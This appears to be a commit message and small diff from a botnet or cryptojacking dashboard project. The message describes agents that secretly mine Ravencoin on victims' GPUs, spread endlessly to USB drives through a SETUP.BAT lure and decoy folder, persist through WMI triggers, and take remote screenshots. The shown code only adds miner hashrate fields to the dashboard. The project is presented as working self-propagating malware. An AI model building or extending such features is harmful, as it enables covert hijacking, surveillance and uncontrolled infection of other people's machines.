Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked

server/web/src/context/WebSocketProvider.tsx

@@ -144,6 +144,11 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
                       ...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
                       ...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
                       ...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
+                      ...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
+                      ...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
+                      ...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
+                      ...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
+                      ...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
                       ...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
                       ...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
                       ...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),